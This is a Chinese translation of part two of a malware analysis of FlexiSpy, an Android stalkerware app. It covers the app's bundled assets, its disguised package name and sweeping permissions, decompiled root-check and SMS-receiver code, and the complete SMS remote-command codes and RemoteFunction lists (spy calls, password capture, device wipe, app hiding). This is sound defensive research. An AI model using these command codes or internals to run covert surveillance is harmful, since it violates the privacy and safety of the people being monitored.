全球知名移动间谍软件FlexiSpy的分析(part2)

原文:全球最大的勒索软件FlexiSpy的分析(part2)

全球知名移动间谍软件FlexiSpy的分析(part2)

2017-04-25 14:13:31 阅读:5843次 收藏(26) 作者:myswsun

http://p6.qhimg.com/t011d078d7998c1f808.png

翻译:myswsun

预估稿费:120RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

传送门:全球知名移动间谍软件FlexiSpy的分析(part1)


0x00 前言


这是FlexiSpy分析的第二部分。反病毒的同行注意了,新的IOC和我的jeb数据库文件在本文底部。这个应用很大,因此我需要将它分割为多个部分。在主apk文件中有几个组件。我们先看下assets(注意这些zip文件是apk和dex文件)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
5002:                          data
Camera.apk:                    Zip archive data, at least v2.0 to extract
Xposed-Disabler-Recovery.zip:  Zip archive data, at least v2.0 to extract
Xposed-Installer-Recovery.zip: Zip archive data, at least v2.0 to extract
XposedBridge.jar:              Zip archive data, at least v1.0 to extract
arm64-v8a:                     directory
arm_app_process_xposed_sdk15:  ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
arm_app_process_xposed_sdk16:  ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
arm_xposedtest_sdk15:          ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
arm_xposedtest_sdk16:          ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
aud.zip:                       Zip archive data, at least v2.0 to extract
bugd.zip:                      Zip archive data, at least v2.0 to extract
busybox:                       ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked,  for  GNU /Linux  2.6.16, stripped
callmgr.zip:                   Zip archive data, at least v2.0 to extract
callmon.zip:                   Zip archive data, at least v2.0 to extract
dwebp:                         ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
dwebp64:                       ELF 64-bit LSB shared object, version 1 (SYSV), dynamically linked (uses shared libs), stripped
ffmpeg:                        ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
gesture_hash.zip:              Zip archive data, at least v2.0 to extract
libaac.so:                     ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libamr.so:                     ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libasound.so:                  ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libcrypto_32bit.so:            ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflasusconfig.so:            ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflhtcconfig.so:             ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libfllgconfig.so:              ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflmotoconfig.so:            ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflsamsungconfig.so:         ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libflsonyconfig.so:            ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked, stripped
libfxexec.so:                  ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libfxril.so:                   ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libfxtmessages.8.so:           ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libfxwebp.so:                  ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libkma.so:                     ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libkmb.so:                     ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
liblame.so:                    ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libmp3lame.so:                 ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libsqliteX.so:                 ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
libvcap.so:                    ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
maind:                         directory
maind.zip:                     Zip archive data, at least v2.0 to extract
mixer:                         directory
panzer:                        ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
pmond.zip:                     Zip archive data, at least v2.0 to extract
psysd.zip:                     Zip archive data, at least v2.0 to extract
ticket.apk:                    Zip archive data, at least v2.0 to extract
vdaemon:                       ELF 32-bit LSB shared object, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
x86_app_process_xposed_sdk15:  ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
x86_app_process_xposed_sdk16:  ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
x86_xposedtest_sdk15:          ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
x86_xposedtest_sdk16:          ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
ben@bens-MacBook:~ /Downloads/bin/5002_2 .24.3_green.APK.out /assets/product $


0x01 方法


监控软件有3个版本。这个非常棒,因为它包含了完整的代码注释。

l  泄漏的源码版本是1.00.1。虽然有文档,但是它只有2.x版本以下的一小部分功能。

l  2.24.3 APK文件:这是编译好的代码,不包含任何注释。这比泄漏的源代码版本新。有更多功能。有混淆,且有大量的额外的Modules/assets.

l  2.25.1 APK:编译代码。没有注释。转储中最新版本。我们看出来和2.24.3的区别

有两个Windows可执行程序和一个mac可执行文件。我还没有看它们。

计划从应用的入口点开始(当用户点击图标时发生),并且检查intent接受器。



0x02 AndroidManifest.xml信息


在这有一些有趣的东西。首先包的名字是com.android.systemupdate。这个可能是命名欺骗用户,认为这个应用是一个官方的安卓应用。

1
2
3
<?xml version= "1.0"  encoding= "utf-8" ?>
<manifest android:versionCode= "1446"  android:versionName= "2.24.3"  package= "com.android.systemupdate"  platformBuildVersionCode= "15"  platformBuildVersionName= "4.0.4-1406430"  xmlns:android= "http://schemas.android.com/apk/res/android" >
     <supports-screens android:anyDensity= "true"  android:largeScreens= "true"  android:normalScreens= "true"  android:resizeable= "true"  android:smallScreens= "true"  android:xlargeScreens= "true"  />

大量的权限覆盖了对于侵犯隐私需要的一切。下面是全部列表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<uses-permission android:name= "android.permission.ACCESS_FINE_LOCATION"  />
     <uses-permission android:name= "android.permission.ACCESS_COARSE_LOCATION"  />
     <uses-permission android:name= "android.permission.ACCESS_NETWORK_STATE"  />
     <uses-permission android:name= "android.permission.ACCESS_WIFI_STATE"  />
     <uses-permission android:name= "android.permission.ACCOUNT_MANAGER"  />
     <uses-permission android:name= "android.permission.AUTHENTICATE_ACCOUNTS"  />
     <uses-permission android:name= "android.permission.CALL_PHONE"  />
     <uses-permission android:name= "android.permission.CAMERA"  />
     <uses-permission android:name= "android.permission.DISABLE_KEYGUARD"  />
     <uses-permission android:name= "android.permission.GET_ACCOUNTS"  />
     <uses-permission android:name= "android.permission.GET_TASKS"  />
     <uses-permission android:name= "android.permission.INTERNET"  />
     <uses-permission android:name= "android.permission.KILL_BACKGROUND_PROCESSES"  />
     <uses-permission android:name= "android.permission.MODIFY_PHONE_STATE"  />
     <uses-permission android:name= "android.permission.MODIFY_AUDIO_SETTINGS"  />
     <uses-permission android:name= "android.permission.PROCESS_OUTGOING_CALLS"  />
     <uses-permission android:name= "android.permission.READ_CALL_LOG"  />
     <uses-permission android:name= "android.permission.READ_CONTACTS"  />
     <uses-permission android:name= "android.permission.READ_PHONE_STATE"  />
     <uses-permission android:name= "android.permission.READ_SMS"  />
     <uses-permission android:name= "android.permission.RECEIVE_SMS"  />
     <uses-permission android:name= "android.permission.RESTART_PACKAGES"  />
     <uses-permission android:name= "android.permission.SEND_SMS"  />
     <uses-permission android:name= "android.permission.VIBRATE"  />
     <uses-permission android:name= "android.permission.WAKE_LOCK"  />
     <uses-permission android:name= "android.permission.WRITE_CALL_LOG"  />
     <uses-permission android:name= "android.permission.WRITE_CONTACTS"  />
     <uses-permission android:name= "android.permission.WRITE_EXTERNAL_STORAGE"  />
     <uses-permission android:name= "android.permission.WRITE_SMS"  />
     <uses-permission android:name= "android.permission.SYSTEM_ALERT_WINDOW"  />
     <uses-permission android:name= "com.android.browser.permission.READ_HISTORY_BOOKMARKS"  />
     <uses-permission android:name= "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS"  />
     <uses-permission android:name= "com.google.android.c2dm.permission.RECEIVE"  />
     <uses-permission android:name= "com.wefeelsecure.feelsecure.permission.C2D_MESSAGE"  />
     <uses-permission android:name= "com.sec.android.provider.logsprovider.permission.READ_LOGS"  />
     <uses-permission android:name= "com.sec.android.provider.logsprovider.permission.WRITE_LOGS"  />
     <uses-permission android:name= "android.permission.WRITE_SYNC_SETTINGS"  />
     <uses-permission android:name= "android.permission.READ_SYNC_SETTINGS"  />
     <uses-permission android:name= "android.permission.BATTERY_STATS"  />
     <uses-permission android:name= "android.permission.WRITE_SETTINGS"  />
     <uses-permission android:name= "android.permission.RECORD_AUDIO"  />
     <uses-permission android:name= "android.permission.READ_CALENDAR"  />
     <uses-permission android:name= "android.permission.WRITE_CALENDAR"  />
     <uses-permission android:name= "android.permission.GET_PACKAGE_SIZE"  />
     <uses-permission android:name= "android.permission.ACCESS_SUPERUSER"  />
     <uses-permission android:name= "android.permission.WRITE_APN_SETTINGS"  />
     <uses-permission android:name= "android.permission.USE_CREDENTIALS"  />
     <uses-permission android:name= "android.permission.MANAGE_ACCOUNTS"  />
     <uses-permission android:name= "android.permission.RECEIVE_BOOT_COMPLETED"  />
     <uses-permission android:name= "android.permission.BLUETOOTH"  />


0x03 入口点onCreate


用户安装应用程序时运行的第一个activity是com.phoenix.client.PrerequisitesSetupActivity。让我们看下它的功能。

对于大部分的android activities,onCreate方法通常首先运行。在一个GUI初始化后,应用检查手机是否root。

1
2
3
4
5
6
7
8
9
10
public void onCreate(Bundle arg6) {
         super.onCreate(arg6);   //  ignore
         this.setContentView(2130903047);   //  ignore
         StrictMode.setThreadPolicy(new StrictMode$ThreadPolicy$Builder().permitAll().build());
         this.o_Button = this.findViewById(2131165209);   //  ignore
         this.o_Button2 = this.findViewById(2131165210);   //  ignore
         this.o_TextView = this.findViewById(2131165207);   //  ignore
         this.k = this.findViewById(2131165208);   //  ignore
         this.k.setVisibility(4);   //  ignore
         this.o_TextView.setText(String. format (this.getString(2130968605), cz.m_superUserCheck(((Context)this)), this.getString(2130968601)));   //  can  return  SuperSU or Superuser


0x04 root检查 cz.m_superUserCheck


实际的root检查如下。检查是否安装了4个root包中的任何一个。来表明设备是否被root。注意这是代码库中众多root/package检查中的第一个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static SuBinaryProvider d(Context arg1) {
         SuBinaryProvider v0;
         if (e.m_LooksForInstalledPackages(arg1,  "com.noshufou.android.su" )) {
             v0 = SuBinaryProvider.NOSHUFOU_SUPERUSER;
         }
         else  if (e.m_LooksForInstalledPackages(arg1,  "eu.chainfire.supersu" )) {
             v0 = SuBinaryProvider.CHAINFIRE_SUPERSU;
         }
         else  if (e.m_LooksForInstalledPackages(arg1,  "com.m0narx.su" )) {
             v0 = SuBinaryProvider.M0NARX_SUPERUSER;
         }
         else  if (e.m_LooksForInstalledPackages(arg1,  "com.koushikdutta.superuser" )) {
             v0 = SuBinaryProvider.KOUSHIKDUTTA_SUPERUSER;
         }
         else  {
             v0 = SuBinaryProvider.CHAINFIRE_SUPERSU;
         }
  
         return  v0;

根据是否检测到root包,设置值为SuperUser或者SuperSU。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static String m_superUserCheck(Context arg3) {
         SuBinaryProvider SuCheck = cz.ChecksforSuPackages(arg3);   //  checks  for  4 packages
         String str_returnValSuperSu =  "SuperSU" ;   //  default  return  val
         if (SuCheck == SuBinaryProvider.CHAINFIRE_SUPERSU) {
             str_returnValSuperSu =  "SuperSU" ;
         }
         else  {
             if (SuCheck != SuBinaryProvider.NOSHUFOU_SUPERUSER && SuCheck != SuBinaryProvider.KOUSHIKDUTTA_SUPERUSER && SuCheck != SuBinaryProvider.M0NARX_SUPERUSER) {
                 return  str_returnValSuperSu;
             }
  
             str_returnValSuperSu =  "Superuser" ;
         }
  
         return  str_returnValSuperSu;   //  can  return  SuperSU or Superuser


0x05 回到onCreate


在root检查后,应用检测SD卡中的一个文件。这个可能是检查应用程序是否之前安装过。根据ac.txt文件是否存在,两种执行将发生:一个启动AutoInstallerActivity,另一个启动CoreService。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  this.o_TextView.setText(String. format (this.getString(2130968605), cz.m_superUserCheck(((Context)this)), this.getString(2130968601)));   //  can  return  SuperSU or Superuser
         this.o_Button.setOnClickListener(new  cp (this));
         this.o_Button2.setOnClickListener(new cq(this));
         if (cz.m_acTextCHeck()) {   //  checks  for  ac.txt value on SDcard
             Intent o_intentObj = new Intent(((Context)this), AutoInstallerActivity.class);   //  if  the txt  file  IS present
             o_intentObj.setFlags(335544320);
             this.startActivity(o_intentObj);   //  starts theAutoInstallerActivity class
             this.finish();
         }
         else  {
             this.g = new SetupFlagsManager(o.a(this.getApplicationContext()));   //  if  the txt  file  is NOT present
             this.f = ak.a(((Context)this));
             if (this.c == null) {
                 this.bindService(new Intent(((Context)this), CoreService.class), this.l, 1);
             }
             else  {
                 this.b();
             }
         }

不管执行什么路径,coreService都会启动。AutoInstallerActivity有一些安装步骤,写一些日志文件,创建一些自定义安装对象和启动CoreService类。此时应用等待用户交互。细节如下。


0x06 com.phoenix.client.receiver.CommonReceiver


Receivers监听android上来的intents。当屏幕解锁,手机重启或者新的SMS消息到达时代码得到响应。

1
2
3
4
5
6
7
8
<intent-filter android:priority= "2147483647" >
                 <action android:name= "android.intent.action.USER_PRESENT"  />
                 <action android:name= "android.intent.action.BOOT_COMPLETED"  />
                 <action android:name= "android.intent.action.QUICKBOOT_POWERON"  />
                 <action android:name= "android.intent.action.PHONE_STATE"  />
                 <action android:name= "com.htc.intent.action.QUICKBOOT_POWERON"  />
                 <action android:name= "android.provider.Telephony.SMS_RECEIVED"  />
             < /intent-filter >


0x07 接收SMS


当接收SMS被检测到。应用在SMS消息中查找指定值<*#。这好像是发送给受害者的一个指定的命令控制值。

1
2
3
4
5
6
7
8
while (o_Iterator.hasNext()) {
                     str_intentAction = o_Iterator.next().getMessageBody();
                     if (str_intentAction != null && (str_intentAction.trim().startsWith( "<*#" ))) {   //  look  for  "special value"  in  sms
                         i_specialCommandFound = 1;
                         continue ;
                     }
  
                     i_specialCommandFound = 0;

在泄漏的源代码文件中的交叉引用中1.00.1/_build/source/daemon_remote_command_manager/src/com/vvt/remotecommandmanager/SmsCommandPattern.java表明SMS消息中的这个<**是用于远程命令。1.00.1版本的命令如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
//Monitor  call
     public static final String ENABLE_SPY_CALL =  "<*#9>" ;
     public static final String ENABLE_SPY_CALL_WITH_MONITOR =  "<*#10>" ;
     public static final String ADD_MONITORS =  "<*#160>" ;
     public static final String RESET_MONITORS =  "<*#163>" ;
     public static final String CLEAR_MONITORS =  "<*#161>" ;
     public static final String QUERY_MONITORS =  "<*#162>" ;
     public static final String ADD_CIS_NUMBERS =  "<*#130>" ;
     public static final String RESET_CIS_NUMBERS =  "<*#131>" ;
     public static final String CLEAR_CIS_NUMBERS =  "<*#132>" ;
     public static final String QUERY_CIS_NUMBERS =  "<*#133>" ;
     
     //Miscellaneous
     public static final String REQUEST_HEART_BEAT =  "<*#2>" ;
     public static final String REQUEST_EVENTS =  "<*#64>" ;
     public static final String SET_SETTINGS =  "<*#92>" ;
     public static final String ENABLE_SIM_CHANGE =  "<*#56>" ;
     public static final String ENABLE_CAPTURE =  "<*#60>" ;
     public static final String SET_VISIBILITY =  "<*#14214>" ;
     public static final String ENABLE_COMMUNICATION_RESTRICTIONS =  "<*#204>" ;
     
     //Activation  and installation
     public static final String ACTIVATE_WITH_ACTIVATION_CODE_AND_URL =  "<*#14140>" ;
     public static final String ACTIVATE_WITH_URL =  "<*#14141>" ;
     public static final String DEACTIVATE =  "<*#14142>" ;
     public static final String SET_ACTIVATION_PHONE_NUMBER =  "<*#14258>" ;
     public static final String SYNC_UPDATE_CONFIGURATION =  "<*#300>" ;
     public static final String UNINSTALL_APPLICATION =  "<*#200>" ;
     public static final String SYNC_SOFTWARE_UPDATE =  "<*#306>" ;
     public static final String ENABLE_PRODUCT =  "<*#14000>" ;
     public static final String REQUEST_MOBILE_NUMBER =  "<*#199>" ;
     
     //Address  Book
     public static final String REQUEST_ADDRESSBOOK =  "<*#120>" ;
     public static final String SET_ADDRESSBOOK_FOR_APPROVAL =  "<*#121>" ;
     public static final String SET_ADDRESSBOOK_MANAGEMENT =  "<*#122>" ;
     public static final String SYNC_ADDRESSBOOK =  "<*#301>" ;
     
     //Media
//   public static final String UPLOAD_ACTUAL_MEDIA =  "" ;
//   public static final String DELETE_ACTUAL_MEDIA =  "" ;
     public static final String ON_DEMAND_RECORD =  "<*#84>" ;
     
     //GPS
     public static final String ENABLE_LOCATION =  "<*#52>" ;
     public static final String UPDATE_GPS_INTERVAL =  "<*#53>" ;
     public static final String ON_DEMAND_LOCATION =  "<*#101>" ;
     
     //Communication
     public static final String SPOOF_SMS =  "<*#85>" ;
     public static final String SPOOF_CALL =  "<*#86>" ;
     
     //Call  watch
     public static final String ENABLE_WATCH_NOTIFICATION =  "<*#49>" ;
     public static final String SET_WATCH_FLAGS =  "<*#50>" ;
     public static final String ADD_WATCH_NUMBER =  "<*#45>" ;
     public static final String RESET_WATCH_NUMBER =  "<*#46>" ;
     public static final String CLEAR_WATCH_NUMBER =  "<*#47>" ;
     public static final String QUERY_WATCH_NUMBER =  "<*#48>" ;
     
     //Keyword  list
     public static final String ADD_KEYWORD =  "<*#73>" ;
     public static final String RESET_KEYWORD =  "<*#74>" ;
     public static final String CLEAR_KEYWORD =  "<*#75>" ;
     public static final String QUERY_KEYWORD =  "<*#76>" ;
     
     //URL  list
     public static final String ADD_URL =  "<*#396>" ;
     public static final String RESET_URL =  "<*#397>" ;
     public static final String CLEAR_URL =  "<*#398>" ;
     public static final String QUERY_URL =  "<*#399>" ;
     
     //Security  and protection
     public static final String SET_PANIC_MODE =  "<*#31>" ;
     public static final String SET_WIPE_OUT =  "<*#201>" ;
     public static final String SET_LOCK_DEVICE =  "<*#202>" ;
     public static final String SET_UNLOCK_DEVICE =  "<*#203>" ;
     public static final String ADD_EMERGENCY_NUMBER =  "<*#164>" ;
     public static final String RESET_EMERGENCY_NUMBER =  "<*#165>" ;
     public static final String QUERY_EMERGENCY_NUMBER =  "<*#167>" ;
     public static final String CLEAR_EMERGENCY_NUMBER =  "<*#166>" ;
     
     //Troubleshoot
     public static final String REQUEST_SETTINGS =  "<*#67>" ;
     public static final String REQUEST_DIAGNOSTIC =  "<*#62>" ;
     public static final String REQUEST_START_UP_TIME =  "<*#5>" ;
     public static final String RESTART_DEVICE =  "<*#147>" ;
     public static final String RETRIEVE_RUNNING_PROCESSES =  "<*#14852>" ;
     public static final String TERMINATE_RUNNING_PROCESSES =  "<*#14853>" ;
     public static final String SET_DEBUG_MODE =  "<*#170>" ;
     public static final String REQUEST_CURRENT_URL =  "<*#14143>" ;
     public static final String ENABLE_CONFERENCING_DEBUGING =  "<*#12>" ;
     public static final String INTERCEPTION_TONE =  "<*#21>" ;
     public static final String RESET_LOG_DURATION =  "<*#65>" ;
     public static final String FORCE_APN_DISCOVERY =  "<*#71>" ;
     
     //Notification  Numbers
     public static final String ADD_NOTIFICATION_NUMBERS =  "<*#171>" ;
     public static final String RESET_NOTIFICATION_NUMBERS =  "<*#172>" ;
     public static final String CLEAR_NOTIFICATION_NUMBERS =  "<*#173>" ;
     public static final String QUERY_NOTIFICATION_NUMBERS =  "<*#174>" ;
     
     //Home  numbers
     public static final String ADD_HOMES =  "<*#150>" ;
     public static final String RESET_HOMES =  "<*#151>" ;
     public static final String CLEAR_HOMES =  "<*#152>" ;
     public static final String QUERY_HOMES =  "<*#153>" ;
     
     //Sync
     public static final String SYNC_COMMUNICATION_DIRECTIVES =  "<*#302>" ;
     public static final String SYNC_TIME =  "<*#303>" ;
     public static final String SYNC_PROCESS_PROFILE =  "<*#304>" ;
     public static final String SYNC_INCOMPATIBLE_APPLICATION_DEFINITION =  "<*#307>" ;

在2.x版本中的命令变了。发送给受害者设备的2.x的远程命令的列表如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
RemoteFunction.ACTIVATE_PRODUCT = new RemoteFunction( "ACTIVATE_PRODUCT" , 0);
         RemoteFunction.DEACTIVATE_PRODUCT = new RemoteFunction( "DEACTIVATE_PRODUCT" , 1);
         RemoteFunction.IS_PRODUCT_ACTIVATED = new RemoteFunction( "IS_PRODUCT_ACTIVATED" , 2);
         RemoteFunction.UNINSTALL_PRODUCT = new RemoteFunction( "UNINSTALL_PRODUCT" , 3);
         RemoteFunction.GET_LICENSE_STATUS = new RemoteFunction( "GET_LICENSE_STATUS" , 4);
         RemoteFunction.GET_ACTIVATION_CODE = new RemoteFunction( "GET_ACTIVATION_CODE" , 5);
         RemoteFunction.AUTO_ACTIVATE_PRODUCT = new RemoteFunction( "AUTO_ACTIVATE_PRODUCT" , 6);
         RemoteFunction.MANAGE_COMMON_DATA = new RemoteFunction( "MANAGE_COMMON_DATA" , 7);
         RemoteFunction.ENABLE_EVENT_DELIVERY = new RemoteFunction( "ENABLE_EVENT_DELIVERY" , 8);
         RemoteFunction.SET_EVENT_MAX_NUMBER = new RemoteFunction( "SET_EVENT_MAX_NUMBER" , 9);
         RemoteFunction.SET_EVENT_TIMER = new RemoteFunction( "SET_EVENT_TIMER" , 10);
         RemoteFunction.SET_DELIVERY_METHOD = new RemoteFunction( "SET_DELIVERY_METHOD" , 11);
         RemoteFunction.ADD_URL = new RemoteFunction( "ADD_URL" , 12);
         RemoteFunction.RESET_URL = new RemoteFunction( "RESET_URL" , 13);
         RemoteFunction.CLEAR_URL = new RemoteFunction( "CLEAR_URL" , 14);
         RemoteFunction.QUERY_URL = new RemoteFunction( "QUERY_URL" , 15);
         RemoteFunction.ENABLE_EVENT_CAPTURE = new RemoteFunction( "ENABLE_EVENT_CAPTURE" , 16);
         RemoteFunction.ENABLE_CAPTURE_CALL = new RemoteFunction( "ENABLE_CAPTURE_CALL" , 17);
         RemoteFunction.ENABLE_CAPTURE_SMS = new RemoteFunction( "ENABLE_CAPTURE_SMS" , 18);
         RemoteFunction.ENABLE_CAPTURE_EMAIL = new RemoteFunction( "ENABLE_CAPTURE_EMAIL" , 19);
         RemoteFunction.ENABLE_CAPTURE_MMS = new RemoteFunction( "ENABLE_CAPTURE_MMS" , 20);
         RemoteFunction.ENABLE_CAPTURE_IM = new RemoteFunction( "ENABLE_CAPTURE_IM" , 21);
         RemoteFunction.ENABLE_CAPTURE_IMAGE = new RemoteFunction( "ENABLE_CAPTURE_IMAGE" , 22);
         RemoteFunction.ENABLE_CAPTURE_AUDIO = new RemoteFunction( "ENABLE_CAPTURE_AUDIO" , 23);
         RemoteFunction.ENABLE_CAPTURE_VIDEO = new RemoteFunction( "ENABLE_CAPTURE_VIDEO" , 24);
         RemoteFunction.ENABLE_CAPTURE_WALLPAPER = new RemoteFunction( "ENABLE_CAPTURE_WALLPAPER" , 25);
         RemoteFunction.ENABLE_CAPTURE_APP = new RemoteFunction( "ENABLE_CAPTURE_APP" , 26);
         RemoteFunction.ENABLE_CAPTURE_URL = new RemoteFunction( "ENABLE_CAPTURE_URL" , 27);
         RemoteFunction.ENABLE_CAPTURE_CALL_RECORD = new RemoteFunction( "ENABLE_CAPTURE_CALL_RECORD" , 28);
         RemoteFunction.ENABLE_CAPTURE_CALENDAR = new RemoteFunction( "ENABLE_CAPTURE_CALENDAR" , 29);
         RemoteFunction.ENABLE_CAPTURE_PASSWORD = new RemoteFunction( "ENABLE_CAPTURE_PASSWORD" , 30);
         RemoteFunction.ENABLE_TEMPORAL_CONTROL_RECORD_AMBIENT = new RemoteFunction( "ENABLE_TEMPORAL_CONTROL_RECORD_AMBIENT" , 31);
         RemoteFunction.ENABLE_CAPTURE_VOIP = new RemoteFunction( "ENABLE_CAPTURE_VOIP" , 32);
         RemoteFunction.ENABLE_VOIP_CALL_RECORDING = new RemoteFunction( "ENABLE_VOIP_CALL_RECORDING" , 33);
         RemoteFunction.ENABLE_CAPTURE_CONTACT = new RemoteFunction( "ENABLE_CAPTURE_CONTACT" , 34);
         RemoteFunction.SET_IM_ATTACHMENT_LIMIT_SIZE = new RemoteFunction( "SET_IM_ATTACHMENT_LIMIT_SIZE" , 35);
         RemoteFunction.ENABLE_CAPTURE_GPS = new RemoteFunction( "ENABLE_CAPTURE_GPS" , 36);
         RemoteFunction.SET_GPS_TIME_INTERVAL = new RemoteFunction( "SET_GPS_TIME_INTERVAL" , 37);
         RemoteFunction.GET_GPS_ON_DEMAND = new RemoteFunction( "GET_GPS_ON_DEMAND" , 38);
         RemoteFunction.ENABLE_SPY_CALL = new RemoteFunction( "ENABLE_SPY_CALL" , 39);
         RemoteFunction.ENABLE_WATCH_NOTIFICATION = new RemoteFunction( "ENABLE_WATCH_NOTIFICATION" , 40);
         RemoteFunction.SET_WATCH_FLAG = new RemoteFunction( "SET_WATCH_FLAG" , 41);
         RemoteFunction.GET_CONNECTION_HISTORY = new RemoteFunction( "GET_CONNECTION_HISTORY" , 42);
         RemoteFunction.GET_CONFIGURATION = new RemoteFunction( "GET_CONFIGURATION" , 43);
         RemoteFunction.GET_SETTINGS = new RemoteFunction( "GET_SETTINGS" , 44);
         RemoteFunction.GET_DIAGNOSTICS = new RemoteFunction( "GET_DIAGNOSTICS" , 45);
         RemoteFunction.GET_EVENT_COUNT = new RemoteFunction( "GET_EVENT_COUNT" , 46);
         RemoteFunction.SEND_INSTALLED_APPLICATIONS = new RemoteFunction( "SEND_INSTALLED_APPLICATIONS" , 47);
         RemoteFunction.REQUEST_CALENDER = new RemoteFunction( "REQUEST_CALENDER" , 48);
         RemoteFunction.SET_SUPERUSER_VISIBILITY = new RemoteFunction( "SET_SUPERUSER_VISIBILITY" , 49);
         RemoteFunction.SET_LOCK_PHONE_SCREEN = new RemoteFunction( "SET_LOCK_PHONE_SCREEN" , 50);
         RemoteFunction.REQUEST_DEVICE_SETTINGS = new RemoteFunction( "REQUEST_DEVICE_SETTINGS" , 51);
         RemoteFunction.SET_UPDATE_AVAILABLE_SILENT_MODE = new RemoteFunction( "SET_UPDATE_AVAILABLE_SILENT_MODE" , 52);
         RemoteFunction.DELETE_DATABASE = new RemoteFunction( "DELETE_DATABASE" , 53);
         RemoteFunction.RESTART_DEVICE = new RemoteFunction( "RESTART_DEVICE" , 54);
         RemoteFunction.REQUEST_HISTORICAL_EVENTS = new RemoteFunction( "REQUEST_HISTORICAL_EVENTS" , 55);
         RemoteFunction.REQUEST_TEMPORAL_APPLICATION_CONTROL = new RemoteFunction( "REQUEST_TEMPORAL_APPLICATION_CONTROL" , 56);
         RemoteFunction.SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE = new RemoteFunction( "SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT_MODE" , 57);
         RemoteFunction.SEND_HEARTBEAT = new RemoteFunction( "SEND_HEARTBEAT" , 58);
         RemoteFunction.SEND_MOBILE_NUMBER = new RemoteFunction( "SEND_MOBILE_NUMBER" , 59);
         RemoteFunction.SEND_SETTINGS_EVENT = new RemoteFunction( "SEND_SETTINGS_EVENT" , 60);
         RemoteFunction.SEND_EVENTS = new RemoteFunction( "SEND_EVENTS" , 61);
         RemoteFunction.REQUEST_CONFIGURATION = new RemoteFunction( "REQUEST_CONFIGURATION" , 62);
         RemoteFunction.SEND_CURRENT_URL = new RemoteFunction( "SEND_CURRENT_URL" , 63);
         RemoteFunction.SEND_BOOKMARKS = new RemoteFunction( "SEND_BOOKMARKS" , 64);
         RemoteFunction.DEBUG_SWITCH_CONTAINER = new RemoteFunction( "DEBUG_SWITCH_CONTAINER" , 65);
         RemoteFunction.DEBUG_HIDE_APP = new RemoteFunction( "DEBUG_HIDE_APP" , 66);
